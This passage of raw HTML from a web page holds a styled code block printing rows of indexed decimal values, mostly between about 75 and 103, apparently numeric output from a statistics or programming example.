!important;"><code style="white-space: pre-wrap;box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">[</span><span style="box-sizing: border-box;color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">0</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">]</span><span style="box-sizing: border-box;color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">88.2</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">  </span><span style="box-sizing: border-box;color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">91.8</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">  </span><span style="box-sizing: border-box;color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">87.5</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">  </span><span style="box-sizing: border-box;color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">93.2</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">  </span><span style="box-sizing: border-box;color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">90.0</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">  </span><span style="box-sizing: border-box;color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">91.0</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">  </span><span style="box-sizing: border-box;color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">93.9</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">  </span><span style="box-sizing: border-box;color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">93.1</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">  </span><span style="box-sizing: border-box;color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">80.1</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">  </span><span style="box-sizing: border-box;color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">91.4</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">  </span><span style="box-sizing: border-box;color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">99.9</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">  </span><span style="box-sizing: border-box;color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">82.1</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">  </span><span style="box-sizing: border-box;color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">78.1</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">  </span><span style="box-sizing: border-box;color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">84.5</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">  </span><span style="box-sizing: border-box;color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">96.6</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">  </span><span style="box-sizing: border-box;color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">94.6</span></code></span></span></p></li><li style="box-sizing: border-box;padding-left: 1em;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;list-style-type: decimal;margin-top: 6px !important;"><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="white-space: pre-wrap;box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">[</span><span style="box-sizing: border-box;color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">17</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">]</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">  </span><span style="box-sizing: border-box;color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">89.3</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">  </span><span style="box-sizing: border-box;color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">88.1</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">  </span><span style="box-sizing: border-box;color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">97.7</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">  </span><span style="box-sizing: border-box;color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">97.9</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">  </span><span style="box-sizing: border-box;color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">87.4</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">  </span><span style="box-sizing: border-box;color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">85.6</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">  </span><span style="box-sizing: border-box;color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">85.0</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">  </span><span style="box-sizing: border-box;color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">85.9</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">  </span><span style="box-sizing: border-box;color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">91.6</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">  </span><span style="box-sizing: border-box;color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">96.4</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">  </span><span style="box-sizing: border-box;color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">90.0</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">  </span><span style="box-sizing: border-box;color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">98.9</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">  </span><span style="box-sizing: border-box;color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">80.6</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">  </span><span style="box-sizing: border-box;color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">88.8</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">  </span><span style="box-sizing: border-box;color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">85.6</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">  </span><span style="box-sizing: border-box;color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">94.1</span></code></span></span></p></li><li style="box-sizing: border-box;padding-left: 1em;list-style-type: decimal;margin-top: 6px !important;"><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="white-space: pre-wrap;box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">[</span><span style="box-sizing: border-box;color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">33</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">]</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">  </span><span style="box-sizing: border-box;color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">91.6</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">  </span><span style="box-sizing: border-box;color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">85.6</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">  </span><span style="box-sizing: border-box;color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">89.0</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">  </span><span style="box-sizing: border-box;color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">91.6</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">  </span><span style="box-sizing: border-box;color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">94.1</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">  </span><span style="box-sizing: border-box;color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">95.5</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">  </span><span style="box-sizing: border-box;color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">99.1</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">  </span><span style="box-sizing: border-box;color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">90.3</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">  </span><span style="box-sizing: border-box;color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">82.8</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">  </span><span style="box-sizing: border-box;color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">90.4</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">  </span><span style="box-sizing: border-box;color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">85.5</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="box-sizing: border-box;color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">100.2</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">  </span><span style="box-sizing: border-box;color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">89.4</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">  </span><span style="box-sizing: border-box;color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">82.7</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">  </span><span style="box-sizing: border-box;color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">90.3</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">  </span><span style="box-sizing: border-box;color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">95.5</span></code></span></span></p></li><li style="box-sizing: border-box;padding-left: 1em;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;list-style-type: decimal;margin-top: 6px !important;"><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="white-space: pre-wrap;box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">[</span><span style="box-sizing: border-box;color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">49</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">]</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">  </span><span style="box-sizing: border-box;color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">89.4</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">  </span><span style="box-sizing: border-box;color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">87.5</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="box-sizing: border-box;color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">101.2</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">  </span><span style="box-sizing: border-box;color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">90.8</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">  </span><span style="box-sizing: border-box;color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">92.7</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">  </span><span style="box-sizing: border-box;color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">91.3</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">  </span><span style="box-sizing: border-box;color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">88.1</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">  </span><span style="box-sizing: border-box;color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">88.4</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">  </span><span style="box-sizing: border-box;color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">85.6</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">  </span><span style="box-sizing: border-box;color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">82.0</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">  </span><span style="box-sizing: border-box;color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">77.0</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">  </span><span style="box-sizing: border-box;color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">96.7</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">  </span><span style="box-sizing: border-box;color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">82.3</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">  </span><span style="box-sizing: border-box;color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">83.1</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">  </span><span style="box-sizing: border-box;color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">91.9</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">  </span><span style="box-sizing: border-box;color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">90.6</span></code></span></span></p></li><li style="box-sizing: border-box;padding-left: 1em;list-style-type: decimal;margin-top: 6px !important;"><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="white-space: pre-wrap;box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">[</span><span style="box-sizing: border-box;color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">65</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">]</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">  </span><span style="box-sizing: border-box;color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">82.3</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">  </span><span style="box-sizing: border-box;color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">93.5</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">  </span><span style="box-sizing: border-box;color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">84.0</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">  </span><span style="box-sizing: border-box;color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">90.5</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">  </span><span style="box-sizing: border-box;color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">90.0</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">  </span><span style="box-sizing: border-box;color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">86.0</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">  </span><span style="box-sizing: border-box;color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">88.3</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">  </span><span style="box-sizing: border-box;color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">90.5</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">  </span><span style="box-sizing: border-box;color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">94.9</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">  </span><span style="box-sizing: border-box;color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">93.0</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">  </span><span style="box-sizing: border-box;color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">93.0</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">  </span><span style="box-sizing: border-box;color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">85.4</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">  </span><span style="box-sizing: border-box;color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">87.8</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">  </span><span style="box-sizing: border-box;color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">86.1</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="box-sizing: border-box;color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">103.1</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">  </span><span style="box-sizing: border-box;color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">85.3</span></code></span></span></p></li><li style="box-sizing: border-box;padding-left: 1em;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;list-style-type: decimal;margin-top: 6px !important;"><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="white-space: pre-wrap;box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">[</span><span style="box-sizing: border-box;color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">81</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">]</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">  </span><span style="box-sizing: border-box;color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">94.2</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">  </span><span style="box-sizing: border-box;color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">99.1</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">  </span><span style="box-sizing: border-box;color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">75.2</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">  </span><span style="box-sizing: border-box;color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">84.7</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">  </span><span style="box-sizing: border-box;color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">80.0</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">  </span><span style="box-sizing: border-box;color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">90.8</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">  </span><span style="box-sizing: border-box;color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">96.6</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">  </span><span style="box-sizing: border-box;color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">94.5</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">  </span><span style="box-sizing: border-box;color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">90.3</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">  </span><span style="box-sizing: border-box;color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">90.2</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">  </span><span style="box-sizing: border-box;color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">86.5</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">  </span><span style="box-sizing: border-box;color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">87.8</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">  </span><span style="box-sizing: border-box;color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">89.2</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">  </span><span style="box-sizing: border-box;color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">82.0</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">  </span><span style="box-sizing: border-box;color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">95.8</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">  </span><span style="box-sizing: border-box;color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">98.7</span></code></span></span></p></li><li style="box-sizing: border-box;padding-left: 1em;list-style-type: decimal;margin-top: 6px !important;"><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="white-space: pre-wrap;box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">[</span><span style="box-sizing: border-box;color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">97</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">]</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">  </span><span style="box-sizing: border-box;color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">94.1</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">  </span><span style="box-sizing: border-box;color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit 